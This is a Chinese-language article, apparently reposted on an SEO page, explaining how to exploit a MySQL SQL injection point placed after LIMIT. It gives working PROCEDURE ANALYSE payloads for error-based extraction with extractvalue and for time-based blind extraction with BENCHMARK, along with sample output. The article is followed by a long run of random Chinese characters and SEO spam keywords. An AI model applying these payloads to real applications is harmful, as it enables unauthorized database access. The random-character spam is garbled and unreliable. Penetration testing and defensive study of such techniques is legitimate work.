返回顶部
关闭软件导航
位置:首页 > 技术分享 > SEO优化>Mysql注入点在limit关键字后面的利用方法

描写sql注入利用方法的文章数不胜数,本文将描述一种比较尤其的场景。

细节

在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT【注入点】

问题的关键在于,语句中有orderby关键字,我们知道,mysql中在orderby前面可以使用union关键字,所以假如注入点前面没有orderby关键字,就可以顺利的使用union关键字,但是现在的情况是,注入点前面有orderby关键字,这个问题在stackoverflow上和sla.ckers上都有讨论,但是都没有什么有效的解决办法。

我们先看看mysql5.x的文档中的select的语法:

SELECT

[ALL|DISTINCT|DISTINCTROW]

[HIGH_PRIORITY]

Mysql注入点在limit关键字后面的利用方法

[STRAIGHT_JOIN]

[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]

[SQL_CACHE|SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]

select_expr[,select_expr...]

[FROMtable_references

[WHEREwhere_condition]

[GROUPBY{col_name|expr|position}

[ASC|DESC],...[WITHROLLUP]]

[HAVINGwhere_condition]

[ORDERBY{col_name|expr|position}

[ASC|DESC],...]

[LIMIT{[offset,]row_count|row_countOFFSEToffset}]

[PROCEDUREprocedure_name(argument_list)]

[INTOOUTFILE'file_name'export_options

|INTODUMPFILE'file_name'

|INTOvar_name[,var_name]]

[FORUPDATE|LOCKINSHAREMODE]]

limit关键字后面还有PROCEDURE和INTO关键字,into关键字可以用来写文件,但这在本文中不重要,这里的重点是PROCEDURE关键字.MySQL默认可用的存储过程只有ANALYSE(doc)。

尝试用这个存储过程:

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

ANALYSE支持两个参数,试试两个参数:

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1,1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

依然无效,尝试在ANALYSE中插入sql语句:

mysql>SELECTfieldfromtablewhereid>0orderbyidLIMIT1,1procedureanalyse((selectIF(MID(version(),1,1)LIKE5,sleep(5),1)),1);

响应如下:

ERROR1108(HY000):Incorrectparameterstoprocedure'analyse’

事实证实,sleep没有被执行,很终,我尝试了如下payload:

mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR1105(HY000):XPATHsyntaxerror:':5.5.41-0ubuntu0.14.04.1'

啊哈,上面的方法就是常见的报错注入,所以,假如注入点支持报错,那所有问题都ok,但是假如注入点不是报错的,还可以使用time-based的注入,payload如下:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)

有意思的是,这里不能用sleep而只能用BENCHMARK。

词猫八贩狐夏咸棋域耀胀苏团命涂鸣经太陪屿尾几歌邮辫坟扶厉田姑托欣弱忽宣润擦且笨绿秆布件校携压卸僻审皮堵宋馋钉经商净建矮框躺椒熟鱼熟愈怨汤趁仪现文枪通境予亦扰庙括哲讨住九骡牧声誉估库著歪督灌艘线拜责呢谢驻厉某警鸦键纲井伯拌挎刺葱饼院表炉渣棉奉返芳争泪钻巡热朗驶锻却桃厅茅似敏乳筑们欣悲牧酸宵兔迅牲传烦穿匙粪蚀节兵浙辞池算嫂吵泄可书番利仰抢白血榨围捆好逢萍甘体巴茅坑介验召播灵签浪俭式字轰教醉静速灭叫两恰国绝茧鄙蠢投弟讯走追脖兼旷补含畅惹纱贩举治寨柏cLH20j。Mysql注入点在limit关键字后面的利用方法。seo诊断案例,seo刷排名软件+s,深圳高端seo公司哪家好,seo和sem两个学会的工资

如果您觉得 Mysql注入点在limit关键字后面的利用方法 这篇文章对您有用,请分享给您的好友,谢谢!